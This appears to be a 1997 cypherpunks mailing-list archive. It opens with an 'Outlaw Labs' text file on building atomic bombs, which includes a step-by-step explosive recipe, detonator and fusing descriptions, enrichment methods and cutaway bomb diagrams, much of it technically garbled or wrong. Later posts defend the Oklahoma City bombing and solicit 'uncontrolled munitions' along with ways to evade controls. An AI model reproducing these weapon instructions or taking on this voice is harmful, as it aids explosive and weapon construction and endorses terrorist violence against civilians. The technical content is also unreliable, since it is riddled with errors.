     Both isotopes of Uranium are naturally radioactive.  Their bulky atoms
disintegrate over a period of time.  Given enough time, (over 100,000 years or
more) Uranium will eventually lose so many particles that it will turn into
the metal lead.  However, this process can be accelerated.  This process is
known as the chain reaction.  Instead of disintegrating slowly, the atoms are
forcibly split by neutrons forcing their way into the nucleus.  A U-235 atom
is so unstable that a blow from a single neutron is enough to split it and
henceforth bring on a chain reaction.  This can happen even when a critical
mass is present.  When this chain reaction occurs, the Uranium atom splits
into two smaller atoms of different elements, such as Barium and Krypton.

     When a U-235 atom splits, it gives off energy in the form of heat and
Gamma radiation, which is the most powerful form of radioactivity and the most
lethal.  When this reaction occurs, the split atom will also give off two or
three of its `spare' neutrons, which are not needed to make either Barium or
Krypton.  These spare neutrons fly out with sufficient force to split other
atoms they come in contact with.  [See chart below]  In theory, it is
necessary to split only one U-235 atom, and the neutrons from this will split
other atoms, which will split more...so on and so forth.  This progression
does not take place arithmetically, but geometrically.  All of this will
happen within a millionth of a second.

     The minimum amount to start a chain reaction as described above is known
as SuperCritical Mass.  The actual mass needed to facilitate this chain
reaction depends upon the purity of the material, but for pure U-235, it is
110 pounds (50 kilograms), but no Uranium is never quite pure, so in reality
more will be needed.

     Uranium is not the only material used for making atomic bombs.  Another
material is the element Plutonium, in its isotope Pu-239.  Plutonium is not
found naturally (except in minute traces) and is always made from Uranium.
The only way to produce Plutonium from Uranium is to process U-238 through a
nuclear reactor.  After a period of time, the intense radioactivity causes the
metal to pick up extra particles, so that more and more of its atoms turn into
Plutonium.

     Plutonium will not start a fast chain reaction by itself, but this
difficulty is overcome by having a neutron source, a highly radioactive
material that gives off neutrons faster than the Plutonium itself.  In certain
types of bombs, a mixture of the elements Beryllium and Polonium is used to
bring about this reaction.  Only a small piece is needed.  The material is not
fissionable in and of itself, but merely acts as a catalyst to the greater
reaction.



 ============================================================================


                        - Diagram of a Chain Reaction -
                        -------------------------------



                                       |
                                       |
                                       |
                                       |
    [1]------------------------------> o

                                    . o o .
                                   . o_0_o . <-----------------------[2]
                                   . o 0 o .
                                    . o o .

                                       |
                                      \|/
                                       ~

                                 . o o. .o o .
    [3]-----------------------> . o_0_o"o_0_o .
                                . o 0 o~o 0 o .
                                 . o o.".o o .
                                       |
                                  /    |    \
                                |/_    |    _\|
                                ~~     |     ~~
                                       |
                           o o         |        o o
    [4]-----------------> o_0_o        |       o_0_o <---------------[5]
                          o~0~o        |       o~0~o
                           o o )       |      ( o o
                              /        o       \
                             /        [1]       \
                            /                    \
                           /                      \
                          /                        \
                         o [1]                  [1] o
                 . o o .            . o o .            . o o .
                . o_0_o .          . o_0_o .          . o_0_o .
                . o 0 o .  <-[2]-> . o 0 o . <-[2]->  . o 0 o .
                 . o o .            . o o .            . o o .

                  /                    |                    \
                |/_                   \|/                   _\|
                ~~                     ~                     ~~

      . o o. .o o .              . o o. .o o .              . o o. .o o .
     . o_0_o"o_0_o .            . o_0_o"o_0_o .            . o_0_o"o_0_o .
     . o 0 o~o 0 o . <--[3]-->  . o 0 o~o 0 o .  <--[3]--> . o 0 o~o 0 o .
      . o o.".o o .              . o o.".o o .              . o o.".o o .
        .   |   .                  .   |   .                  .   |   .
       /    |    \                /    |    \                /    |    \
       :    |    :                :    |    :                :    |    :
       :    |    :                :    |    :                :    |    :
      \:/   |   \:/              \:/   |   \:/              \:/   |   \:/
       ~    |    ~                ~    |    ~                ~    |    ~
  [4] o o   |   o o [5]      [4] o o   |   o o [5]      [4] o o   |   o o [5]
     o_0_o  |  o_0_o            o_0_o  |  o_0_o            o_0_o  |  o_0_o
     o~0~o  |  o~0~o            o~0~o  |  o~0~o            o~0~o  |  o~0~o
      o o ) | ( o o              o o ) | ( o o              o o ) | ( o o
         /  |  \                    /  |  \                    /  |  \
        /   |   \                  /   |   \                  /   |   \
       /    |    \                /    |    \                /    |    \
      /     |     \              /     |     \              /     |     \
     /      o      \            /      o      \            /      o      \
    /      [1]      \          /      [1]      \          /      [1]      \
   o                 o        o                 o        o                 o
  [1]               [1]      [1]               [1]      [1]               [1]






 ============================================================================


                              - Diagram Outline -
                             ---------------------


                        [1] - Incoming Neutron
                        [2] - Uranium-235
                        [3] - Uranium-236
                        [4] - Barium Atom
                        [5] - Krypton Atom




===========================================================================



-End of section 2-
-Diagrams & Documentation of the Atomic Bomb- 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------



     III.  The Mechanism of The Bomb
           -------------------------


     Altimeter
     ---------

     An ordinary aircraft altimeter uses a type of Aneroid Barometer which
measures the changes in air pressure at different heights.  However, changes
in air pressure due to the weather can adversely affect the altimeter's
readings.  It is far more favorable to use a radar (or radio) altimeter for
enhanced accuracy when the bomb reaches Ground Zero.

     While Frequency Modulated-Continuous Wave (FM CW) is more complicated,
the accuracy of it far surpasses any other type of altimeter.  Like simple
pulse systems, signals are emitted from a radar aerial (the bomb), bounced off
the ground and received back at the bomb's altimeter.  This pulse system
applies to the more advanced altimeter system, only the signal is continuous
and centered around a high frequency such as 4200 MHz.  This signal is
arranged to steadily increase at 200 MHz per interval before dropping back to
its original frequency.

     As the descent of the bomb begins, the altimeter transmitter will send
out a pulse starting at 4200 MHz.  By the time that pulse has returned, the
altimeter transmitter will be emitting a higher frequency.  The difference
depends on how long the pulse has taken to do the return journey.  When these
two frequencies are mixed electronically, a new frequency (the difference
between the two) emerges.  The value of this new frequency is measured by the
built-in microchips.  This value is directly proportional to the distance
travelled by the original pulse, so it can be used to give the actual height.

     In practice, a typical FM CW radar today would sweep 120 times per
second.  Its range would be up to 10,000 feet (3000 m) over land and 20,000
feet (6000 m) over sea, since sound reflections from water surfaces are
clearer.

     The accuracy of these altimeters is within 5 feet (1.5 m) for the higher
ranges.  Being that the ideal airburst for the atomic bomb is usually set for
1,980 feet, this error factor is not of enormous concern.

     The high cost of these radar-type altimeters has prevented their use in
commercial applications, but the decreasing cost of electronic components
should make them competitive with barometric types before too long.



     Air Pressure Detonator
     ----------------------

     The air pressure detonator can be a very complex mechanism, but for all
practical purposes, a simpler model can be used.  At high altitudes, the air
is of lesser pressure.  As the altitude drops, the air pressure increases.  A
simple piece of very thin magnetized metal can be used as an air pressure
detonator.  All that is needed is for the strip of metal to have a bubble of
extremely thin metal forged in the center and have it placed directly
underneath the electrical contact which will trigger the conventional
explosive detonation.  Before setting the strip in place, push the bubble in
so that it will be inverted.

     Once the air pressure has achieved the desired level, the magnetic bubble
will snap back into its original position and strike the contact, thus
completing the circuit and setting off the explosive(s).



     Detonating Head
     ---------------

     The detonating head (or heads, depending on whether a Uranium or
Plutonium bomb is being used as a model) that is seated in the conventional
explosive charge(s) is similar to the standard-issue blasting cap.  It merely
serves as a catalyst to bring about a greater explosion.  Calibration of this
device is essential.  Too small of a detonating head will only cause a
colossal dud that will be doubly dangerous since someone's got to disarm and
re-fit the bomb with another detonating head. (an added measure of discomfort
comes from the knowledge that the conventional explosive may have detonated
with insufficient force to weld the radioactive metals.  This will cause a
supercritical mass that could go off at any time.)  The detonating head will
receive an electric charge from the either the air pressure detonator or the
radar altimeter's coordinating detonator, depending on what type of system is
used.  The Du Pont company makes rather excellent blasting caps that can be
easily modified to suit the required specifications.



     Conventional Explosive Charge(s)
     --------------------------------

     This explosive is used to introduce (and weld) the lesser amount of
Uranium to the greater amount within the bomb's housing.  [The amount of
pressure needed to bring this about is unknown and possibly classified by the
United States Government for reasons of National Security]

     Plastic explosives work best in this situation since they can be
manipulated to enable both a Uranium bomb and a Plutonium bomb to detonate.
One very good explosive is Urea Nitrate.  The directions on how to make Urea
Nitrate are as follows:

     - Ingredients -
     ---------------
     [1]  1 cup concentrated solution of uric acid (C5 H4 N4 O3)
     [2]  1/3 cup of nitric acid
     [3]  4 heat-resistant glass containers
     [4]  4 filters (coffee filters will do)


     Filter the concentrated solution of uric acid through a filter to remove
impurities.  Slowly add 1/3 cup of nitric acid to the solution and let the
mixture stand for 1 hour.  Filter again as before.  This time the Urea Nitrate
crystals will collect on the filter.  Wash the crystals by pouring water over
them while they are in the filter.  Remove the crystals from the filter and
allow 16 hours for them to dry.  This explosive will need a blasting cap to
detonate.


     It may be necessary to make a quantity larger than the aforementioned
list calls for to bring about an explosion great enough to cause the Uranium
(or Plutonium) sections to weld together on impact.



     Neutron Deflector
     -----------------

     The neutron deflector is comprised solely of Uranium-238.  Not only is
U-238 non-fissionable, it also has the unique ability to reflect neutrons back
to their source.

     The U-238 neutron deflector can serve 2 purposes.  In a Uranium bomb, the
neutron deflector serves as a safeguard to keep an accidental supercritical
mass from occurring by bouncing the stray neutrons from the `bullet'
counterpart of the Uranium mass away from the greater mass below it (and vice-
versa).  The neutron deflector in a Plutonium bomb actually helps the wedges
of Plutonium retain their neutrons by `reflecting' the stray particles back
into the center of the assembly.  [See diagram in Section 4 of this file.]



     Uranium & Plutonium
     -------------------

     Uranium-235 is very difficult to extract.  In fact, for every 25,000 tons
of Uranium ore that is mined from the earth, only 50 tons of Uranium metal can
be refined from that, and 99.3% of that metal is U-238 which is too stable to
be used as an active agent in an atomic detonation.  To make matters even more
complicated, no ordinary chemical extraction can separate the two isotopes
since both U-235 and U-238 possess precisely identical chemical
characteristics.  The only methods that can effectively separate U-235 from
U-238 are mechanical methods.

     U-235 is slightly, but only slightly, lighter than its counterpart,
U-238.  A system of gaseous diffusion is used to begin the separating process
between the two isotopes.  In this system, Uranium is combined with fluorine
to form Uranium Hexafluoride gas.  This mixture is then propelled by low-
pressure pumps through a series of extremely fine porous barriers.  Because
the U-235 atoms are lighter and thus propelled faster than the U-238 atoms,
they could penetrate the barriers more rapidly.  As a result, the
U-235's concentration became successively greater as it passed through each
barrier.  After passing through several thousand barriers, the Uranium
Hexafluoride contains a relatively high concentration of U-235 -- 2% pure
Uranium in the case of reactor fuel, and if pushed further could
(theoretically) yield up to 95% pure Uranium for use in an atomic bomb.

     Once the process of gaseous diffusion is finished, the Uranium must be
refined once again.  Magnetic separation of the extract from the previous
enriching process is then implemented to further refine the Uranium.  This
involves electrically charging Uranium Tetrachloride gas and directing it past
a weak electromagnet.  Since the lighter U-235 particles in the gas stream are
less affected by the magnetic pull, they can be gradually separated from the
flow.

     Following the first two procedures, a third enrichment process is then
applied to the extract from the second process.  In this procedure, a gas
centrifuge is brought into action to further separate the lighter U-235 from
its heavier counter-isotope.  Centrifugal force separates the two isotopes of
Uranium by their mass.  Once all of these procedures have been completed, all
that need be done is to place the properly molded components of Uranium-235
inside a warhead that will facilitate an atomic detonation.

     Supercritical mass for Uranium-235 is defined as 110 lbs (50 kgs) of
pure Uranium.

     Depending on the refining process(es) used when purifying the U-235 for
use, along with the design of the warhead mechanism and the altitude at which
it detonates, the explosive force of the A-bomb can range anywhere from 1
kiloton (which equals 1,000 tons of TNT) to 20 megatons (which equals 20
million tons of TNT -- which, by the way, is the smallest strategic nuclear
warhead we possess today.  {Point in fact -- One Trident Nuclear Submarine
carries as much destructive power as 25 World War II's}).

     While Uranium is an ideally fissionable material, it is not the only one.
Plutonium can be used in an atomic bomb as well.  By leaving U-238 inside an
atomic reactor for an extended period of time, the U-238 picks up extra
particles (neutrons especially) and gradually is transformed into the element
Plutonium.

     Plutonium is fissionable, but not as easily fissionable as Uranium.
While Uranium can be detonated by a simple 2-part gun-type device, Plutonium
must be detonated by a more complex 32-part implosion chamber along with a
stronger conventional explosive, a greater striking velocity and a
simultaneous triggering mechanism for the conventional explosive packs.  Along
with all of these requirements comes the additional task of introducing a fine
mixture of Beryllium and Polonium to this metal while all of these actions are
occurring.

     Supercritical mass for Plutonium is defined as 35.2 lbs (16 kgs).  This
amount needed for a supercritical mass can be reduced to a smaller quantity of
22 lbs (10 kgs) by surrounding the Plutonium with a U-238 casing.


     To illustrate the vast difference between a Uranium gun-type detonator
and a Plutonium implosion detonator, here is a quick rundown.

 ============================================================================


     [1]  Uranium Detonator
          -----------------

              Comprised of 2 parts.  Larger mass is spherical and concave.
              Smaller mass is precisely the size and shape of the `missing'
              section of the larger mass.  Upon detonation of conventional
              explosive, the smaller mass is violently injected and welded
              to the larger mass.  Supercritical mass is reached, chain
              reaction follows in one millionth of a second.


     [2]  Plutonium Detonator
          -------------------

              Comprised of 32 individual 45-degree pie-shaped sections of
              Plutonium surrounding a Beryllium/Polonium mixture.  These 32
              sections together form a sphere.  All of these sections must
              have the precisely equal mass (and shape) of the others.  The
              shape of the detonator resembles a soccerball.  Upon detonation
              of conventional explosives, all 32 sections must merge with the
              B/P mixture within 1 ten-millionths of a second.



 ____________________________________________________________________________

                                  - Diagram -
                                 -------------
 ____________________________________________________________________________
                                       |
            [Uranium Detonator]        |         [Plutonium Detonator]
 ______________________________________|_____________________________________
                _____                  |
               |    :|                 |               . [2] .
               |    :|                 |           . ~   \_/   ~ .
               | [2]:|                 |        ..        .        ..
               |    :|                 |      [2]|        .        |[2]
               |   .:|                 |     . ~~~ .      .      . ~~~ .
               `...::'                 |    .        .    .    .        .
               _ ~~~ _                 |   .           .  ~  .           .
            . `|     |':..             | [2]\.  .  .  .  [1]  .  .  .  ./[2]
         .     |     | `:::.           |   ./          . ~~~ .          \.
               |     |   `:::          |   .         .    :    .         .
       .       |     |    ::::         |    .      .      .      .      .
               | [1] |    ::|::        |     . ___        .        ___ .
      .        `.   .'   ,::||:        |      [2]|        .        |[2]
                 ~~~     ::|||:        |        .'        _        `.
       ..        [2]   .::|||:'        |           .     / \     .
        ::...       ..::||||:'         |              ~ -[2]- ~
         :::::::::::::||||::'          |
          ``::::||||||||:''            |
              ``:::::''                |
                                       |
                                       |
                                       |
                                       |
       [1] = Collision Point           |      [1] = Collision Point
       [2] - Uranium Section(s)        |      [2] = Plutonium Section(s)
                                       |
                                       |
 ______________________________________|_____________________________________
 ============================================================================



     Lead Shield
     -----------

     The lead shield's only purpose is to prevent the inherent radioactivity
of the bomb's payload from interfering with the other mechanisms of the bomb.
The neutron flux of the bomb's payload is strong enough to short circuit the
internal circuitry and cause an accidental or premature detonation.



     Fuses
     -----

     The fuses are implemented as another safeguard to prevent an accidental
detonation of both the conventional explosives and the nuclear payload.  These
fuses are set near the surface of the `nose' of the bomb so that they can be
installed easily when the bomb is ready to be launched.  The fuses should be
installed only shortly before the bomb is launched.  To affix them before it
is time could result in an accident of catastrophic proportions.



 ============================================================================


-End of section 3-
-Documentation & Diagrams of the Atomic Bomb- 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------



  IV.  The Diagram of the Atomic Bomb
       ------------------------------

                             [Gravity Bomb Model]
                         ----------------------------
                        -> Cutaway Sections Visible <-


 ============================================================================




                                      /\
                                     /  \ <---------------------------[1]
                                    /    \
                  _________________/______\_________________
                 | :      ||:      ~      ~               : |
     [2]-------> | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :______||:_____________________________: |
                 |/_______||/______________________________\|
                  \       ~\       |              |         /
                   \       |\      |              |        /
                    \      | \     |              |       /
                     \     |  \    |              |      /
                      \    |___\   |______________|     /
                       \  |     \ |~               \   /
                        \|_______\|_________________\_/
                        |_____________________________|
                        /                             \
                       /       _________________       \
                      /      _/                 \_      \
                     /    __/                     \__    \
                    /    /                           \    \
                   /__ _/                             \_ __\
     [3]_______________________________                 \ _|
                   / /                 \                 \ \
                  / /                  \/                 \ \
                 / /              ___________              \ \
                | /            __/___________\__            \ |
                | |_  ___     /=================\     ___  _| |
     [4]---------> _||___|====|[[[[[[[|||]]]]]]]|====|___||_ <--------[4]
                | |           |-----------------|           | |
                | |           |o=o=o=o=o=o=o=o=o| <-------------------[5]
                | |            \_______________/            | |
                | |__                |: :|                __| |
                | |  \______________ |: :| ______________/  | |
                | | ________________\|: :|/________________ | |
                | |/            |::::|: :|::::|            \| |
     [6]----------------------> |::::|: :|::::| <---------------------[6]
                | |             |::::|: :|::::|             | |
                | |             |::==|: :|== <------------------------[9]
                | |             |::__\: :/__::|             | |
                | |             |::  ~: :~  ::|             | |
     [7]----------------------------> \_/   ::|             | |
                | |~\________/~\|::    ~    ::|/~\________/~| |
                | |            ||::         <-------------------------[8]
                | |_/~~~~~~~~\_/|::_ _ _ _ _::|\_/~~~~~~~~\_| |
     [9]-------------------------->_=_=_=_=_::|             | |
                | |             :::._______.:::             | |
                | |            .:::|       |:::..           | |
                | |        ..:::::'|       |`:::::..        | |
     [6]---------------->.::::::' ||       || `::::::.<---------------[6]
                | |    .::::::' | ||       || | `::::::.    | |
               /| |  .::::::'   | ||       || |   `::::::.  | |
              | | | .:::::'     | ||    <-----------------------------[10]
              | | |.:::::'      | ||       || |      `:::::.| |
              | | ||::::'       | |`.     .'| |       `::::|| |
    [11]___________________________  ``~''  __________________________[11]
              : | | \::            \       /            ::/ | |
             |  | |  \:_________|_|\/__ __\/|_|_________:/  | |
             /  | |   |  __________~___:___~__________  |   | |
            ||  | |   | |          |:::::::|          | |   | |
    [12]   /|:  | |   | |          |:::::::|          | |   | |
  |~~~~~  / |:  | |   | |          |:::::::|          | |   | |
  |----> / /|:  | |   | |          |:::::::|        <-----------------[10]
  |     / / |:  | |   | |          |:::::::|          | |   | |
  |      /  |:  | |   | |          |::::<-----------------------------[13]
  |     /  /|:  | |   | |          |:::::::|          | |   | |
  |    /  / |:  | |   | |          `:::::::'          | |   | |
  |  _/  / /:~: | |   | `:           ``~''           :' |   | |
  |  |  / / ~.. | |   |: `:                         :' :|   | |
  |->| / /   :  | |   :::  `.                     .' <----------------[11]
  |  |/ / ^   ~\|  \  ::::.  `.                 .'  .::::  /  |
  |  ~   /|\    |   \_::::::.  `.             .'  .::::::_/   |
  |_______|     |      \::::::.  `.         .'  .:::<-----------------[6]
                |_________\:::::.. `~.....~' ..:::::/_________|
                |          \::::::::.......::::::::/          |
                |           ~~~~~~~~~~~~~~~~~~~~~~~           |
                `.                                           .'
                 `.                                         .'
                  `.                                       .'
                   `:.                                   .:'
                    `::.                               .::'
                      `::..                         ..::'
                        `:::..                   ..:::'
                          `::::::...        ..::::::'
    [14]------------------> `:____:::::::::::____:' <-----------------[14]
                              ```::::_____::::'''
                                     ~~~~~






 ============================================================================


                              - Diagram Outline -
                             ---------------------

                        [1] - Tail Cone
                        [2] - Stabilizing Tail Fins
                        [3] - Air Pressure Detonator
                        [4] - Air Inlet Tube(s)
                        [5] - Altimeter/Pressure Sensors
                        [6] - Lead Shield Container
                        [7] - Detonating Head
                        [8] - Conventional Explosive Charge
                        [9] - Packing
                       [10] - Uranium (U-235) [Plutonium (See other diagram)]
                       [11] - Neutron Deflector (U-238)
                       [12] - Telemetry Monitoring Probes
                       [13] - Receptacle for U-235 upon detonation
                              to facilitate supercritical mass.
                       [14] - Fuses (inserted to arm bomb)




 ============================================================================


                        - Diagram for Plutonium Bomb -
                       --------------------------------
                       [Gravity Bomb - Implosion Model]
                       --------------------------------
                        -> Cutaway Sections Visible <-



 ============================================================================



                                      /\
                                     /  \ <---------------------------[1]
                                    /    \
                  _________________/______\_________________
                 | :      ||:      ~      ~               : |
     [2]-------> | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :______||:_____________________________: |
                 |/_______||/______________________________\|
                  \       ~\       | :          |:|         /
                   \       |\      | :          |:|        /
                    \      | \     | :__________|:|       /
                     \     |:_\    | :__________\:|      /
                      \    |___\   |______________|     /
                       \  |     \ |~               \   /
                        \|_______\|_________________\_/
                        |_____________________________|
                        /                             \
                       /                               \
                      /                                 \
                     /          _______________          \
                    /       ___/               \___       \
                   /____ __/                       \__ ____\
     [3]_______________________________               \ ___|
                   / __/               \               \__ \
                  / /                  \/                 \ \
                 / /              ___________              \ \
                / /            __/___________\__            \ \
              ./ /__  ___     /=================\     ___  __\ \.
     [4]-------> ___||___|====|[[[[[|||||||]]]]]|====|___||___ <------[4]
            /  /              |=o=o=o=o=o=o=o=o=| <-------------------[5]
           .' /                \_______ _______/                \ `.
           :  |___                    |*|                    ___|  :
          .'  |   \_________________  |*|  _________________/   |  `.
          :   |   ___________   ___ \ |*| / ___   ___________   |   :
          :   |__/           \ /   \_\\*//_/   \ /           \__|   :
          :   |______________:|:____:: **::****:|:********\ <---------[6]
         .'  /:|||||||||||||'`|;..:::::::::::..;|'`|||||||*|||||:\  `.
     [7]----------> ||||||' .:::;~|~~~___~~~|~;:::. `|||||*|| <-------[7]
         :   |:|||||||||' .::'\ ..:::::::::::.. /`::. `|||*|||||:|   :
         :   |:|||||||' .::' .:::''~~     ~~``:::. `::. `|\***\|:|   :
         :   |:|||||' .::\ .::''\ |   [9]   | /``::: /::. `|||*|:|   :
     [8]------------>::' .::'    \|_________|/    `::: `::. `|* <-----[6]
         `.  \:||' .::' ::'\ [9] .     .     . [9] /::: `::.  *|:/  .'
          :   \:' :::'.::'  \  .               .  /  `::.`::: *:/   :
          :    | .::'.::'____\    [10] . [10]    /____`::.`::.*|    :
          :    | :::~:::     |       . . .       |     :::~:::*|    :
          :    | ::: ::  [9] | .   . ..:.. .   . | [9]  :: :::*|    :
          :    \ ::: ::      |       . :\_____________________________[11]
          `.    \`:: ::: ____|     .   .   .     |____ ::: ::'/    .'
           :     \:;~`::.    / .  [10]   [10]  . \    .::'~::/     :
           `.     \:. `::.  /    .     .     .    \  .::' .:/     .'
            :      \:. `:::/ [9]   _________   [9] \:::' .:/      :
            `.      \::. `:::.   /|         |\   .:::' .::/      .'
             :       ~~\:/ `:::./ |   [9]   | \.:::' \:/~~       :
             `:=========\::. `::::...     ...::::' .::/=========:'
              `:         ~\::./ ```:::::::::''' \.::/~         :'
               `.          ~~~~~~\|   ~~~   |/~~~~~~          .'
                `.                \:::...:::/                .'
                 `.                ~~~~~~~~~                .'
                  `.                                       .'
                   `:.                                   .:'
                    `::.                               .::'
                      `::..                         ..::'
                        `:::..                   ..:::'
                          `::::::...        ..::::::'
    [12]------------------> `:____:::::::::::____:' <-----------------[12]
                              ```::::_____::::'''
                                     ~~~~~






 ============================================================================


                              - Diagram Outline -
                             ---------------------

                        [1] - Tail Cone
                        [2] - Stabilizing Tail Fins
                        [3] - Air Pressure Detonator
                        [4] - Air Inlet Tube(s)
                        [5] - Altimeter/Pressure Sensors
                        [6] - Electronic Conduits & Fusing Circuits
                        [7] - Lead Shield Container
                        [8] - Neutron Deflector (U-238)
                        [9] - Conventional Explosive Charge(s)
                       [10] - Plutonium (Pu-239)
                       [11] - Receptacle for Beryllium/Polonium mixture
                              to facilitate atomic detonation reaction.
                       [12] - Fuses (inserted to arm bomb)




 ============================================================================


-End of section 4-
-Documentation & Diagrams of the Atomic Bomb-






From wombat at mcfeely.bsfs.org  Sat May 10 20:26:52 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Sun, 11 May 1997 11:26:52 +0800
Subject: Wine Politics Again! (fwd)
In-Reply-To: <199705110207.EAA12477@basement.replay.com>
Message-ID: 


> 
> It should go without saying that this is a classic case of a dumb bill,
> being passed to serve the special interest of liquor store owners.

This bill is probably a good idea; less tourists getting shot by hoodlums 
wasted on mail-order designer hooch ...







From tm at dev.null  Sat May 10 20:31:35 1997
From: tm at dev.null (TruthMonger)
Date: Sun, 11 May 1997 11:31:35 +0800
Subject: War & InfoWar
Message-ID: <199705110311.VAA20026@wombat.sk.sympatico.ca>


Blanc wrote:

> Lately Tim has been making extremely dramatic death statements:   "Kill
> them all...they are unworthy of life.", "... I
> pray for the deaths of these criminals.",  "Washington is a cancer than can
> only be cured with a few megatons of
> nuclear disinfectant.", "May they all be vaporized.", etc.
> 
> These are definitely dark in mood and understandable; I also have violently
> negative & despairing emotions about these people.   I just wouldn't ever
> think of involving those who are innocent bystanders and happened to be in
> the wrong place at the wrong time.

  Of course, you have your own definintion of innocenent bystanders,
while others may have different definitions.
  Is someone who is in the military because of forced enscription at
the point of a gun (with threats of imprisonment if they refuse) an 
innocent bystander? When an invading force attacks your home, do you
only shoot back at those who are there willingly?
  How about those who willingly process and uphold the atrocities
which the government commits upon its citizens? (Those who don't turn
on the gas, but merely put them in the ovens {because the paperwork
all seemed to be in order}.)

  Were the children in the daycare center at the Federal Building
at OK city innocent bystanders?
  Then why, pray tell, did the government allow them to be placed
in a building which was known to be a prime target of anti-government
paramilitary idealists? Were they being used as a "shield" in the
hopes that their presence would protect the others? Or were they
there in order to provide sensational fodder for government response
to the inevitable?
  History bulges with examples of governments using their citizens
as human shields by placing armament factories in residential areas
and there are a multitude of other examples of government disregard
for the lives of their citizens.
  The government has prosecuted dozens of individuals for planning
to bomb the OK city Federal Building (including executed murderers).
It has long been listed as a target of choice for anti-government
paramilitarists. For the government to deny culpability in children
being present at the bombing reeks of hypocrisy.

> I know that critical times call for critical action, but I just don't
> expect from anarchist libertarian cypherpunks that they would "throw
> caution to the wind" (so to speak) and forget how to think about events and
> actions in terms of specifics and utter precision.

  The fact of the matter is that the government has declared war
on the freedom and liberty of its citizens and passed draconian
laws which prevent citizens from defending themselves from 
government oppression. The government protects those participating
in its crimes from having to pay a price for their complicity.
  The government has a ruinous effect on the lives of millions
of its citizens daily and is responsible for a mountain of deaths
of "innocent people." Those taking part in the process should be
made aware that there is a price to pay for their actions.

  Should the Allied war against Nazi Germany have not taken place
because "innocent" lives would be lost? Should the French Freedom
fighters not have fought to free their country from occupation
because "innocent bystanders" would die in the process?
  Timothy McVeigh's position in history will likely belong in the
hands of the winner of the war between the government and its
citizens, but he is already considered a freedom fighter by more
people than the government would like to admit. He has issued a
wake-up call for those who think that they can remain nameless 
and faceless in their complicity with government atrocities.

  While I would have chosen a different approach and target for
an attack, I will not pass moral judgement on McVeigh's actions.
That is between himself and his conscience.
  Tim McVeigh at least had the fortitude to act on his outrage
over what he perceived as government injustice. What did others
do over the outrageous tragedy at Waco? Mostly they just turned
their heads away and tried to pretend that our government is not
a murderer of men, women and children.
  How many government employees quit in outrage, stating that
they would not take part in such atrocities? How many took a
vocal moral stand against their superiors, or exposed the
government duplicity involved in the police action?

  Nobody who turns their head is "innocent" and they cannot avoid
their own responsibility if they choose to place their children
in the line of fire as a result of their participation in crimes
against the citizens.
  Given the wide knowledge of the OK city Federal Building being
a known target of anti-government forces, I think the placing of
a daycare center there was the equivalent of military forces who
cowardly advance with women and children in front of them. (And
there are ample examples of this in history.)

  Those in government express outrage at the barbarity of an
individual citizen attacking his oppressors, but apparently are
not outraged enough to stop their oppression.
  The fact is that we have a police state whose power and abuse
of power are growing by leaps and bounds because there has been
no realistic amount of accountability attached to their actions.
  This is an unnatural state of affairs and one that human nature
will correct. When things become too far out of balance, then
the universal laws of nature correct the situation. I believe that
the dinosaurs learned this lesson, as well.

TruthMonger






From jya at pipeline.com  Sat May 10 20:33:58 1997
From: jya at pipeline.com (John Young)
Date: Sun, 11 May 1997 11:33:58 +0800
Subject: Uncontrolled Munitions List
Message-ID: <1.5.4.32.19970511031215.0075b478@pop.pipeline.com>


On Tim's war underway:

It is not McVeigh's type of ANFO-munitions that threaten
the legal-financial-governmental interests but the uncontrolled
munitions available to wage war on public policy, commerce, 
legislation, funding, regulation, intelligence, surveillance 
and law enforcement.

There has been an astonishing range of such munitions 
discussed on cypherpunks in the three years I've been around, 
and there's much more in the archives (handily collated in Tim's 
Cyphernomicon).

Crypto is central, to be sure, but hardly the only munition, as
many often remind.

Indeed, it is noteworthy how many of the broad range of these
potentially destructive munitions are not regulated by the EAR
and other regimes.

As with chemicals, explosives, bio-organisms, mathematics, physics,
it takes highly skilled people to advise the regulators on what
needs control and when, and not just the finished weapon, but its
components and sub-components. (As an example, see ATF's latest 
list of explosives: http://jya.com/atf050497.txt )

The war underway is often waged at secret councils of scientific
information and intelligence used by all government and
military agencies (meetings are listed in the Federal Register,
regularly reported on jya.com).

So it is not the known terrorist-munitions that are worrisome; it's
the ones not yet publicized but known to scientists, warfighters and
keepers of secrets who keep their fingers crossed and plan for
the worst -- say, the President's Commission on Critical Infrastructure
Protection (http://www.pccip.gov/ ).

It would be instructive to post here uncontrolled munitions 
available for the war underway, with comments on how to elude 
control of the burgeoning domestic and global regimes.

I'd like to host a running Uncontrolled Munitions List (UML) on jya.com.

To be sure, some of that information might be submitted by remailer
or prudently encrypted. Use my public key if no other suits:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzHMJLAAAAEEALQamOmaVP3dWAxTWAtoK6SMp8smRTcLweBSLerX0BAAK5s8
c87yZSxKNGHwIejM0MpqbcpTOO5KwMSxAbefGfbOe815TB43pnHMET+itOCmwYsL
lHiuy12o63wETsr1d5EdqWh+dS+p35Ne3qiapoADm1KktJcqIudR7MF7a6tdAAUR
tB1Kb2huIFlvdW5nIDxqeWFAcGlwZWxpbmUuY29tPg==
=c8jN
-----END PGP PUBLIC KEY BLOCK-----






From jya at pipeline.com  Sat May 10 20:39:23 1997
From: jya at pipeline.com (John Young)
Date: Sun, 11 May 1997 11:39:23 +0800
Subject: List of Explosives
Message-ID: <1.5.4.32.19970511032328.0088aeb0@pop.pipeline.com>


The correct URL for the latest ATF list of explosives:

   http://jya.com/atf042597.xt






From frissell at panix.com  Sat May 10 20:43:31 1997
From: frissell at panix.com (frissell at panix.com)
Date: Sun, 11 May 1997 11:43:31 +0800
Subject: Intel for the War Underway
In-Reply-To: <1.5.4.32.19970510234723.0070b968@pop.pipeline.com>
Message-ID: <3.0.1.32.19970510233609.006ee758@panix.com>


At 07:47 PM 5/10/97 -0400, John Young wrote:
>The May 10 Economist has a special survey of
>global electronic commerce.

Available of course at:

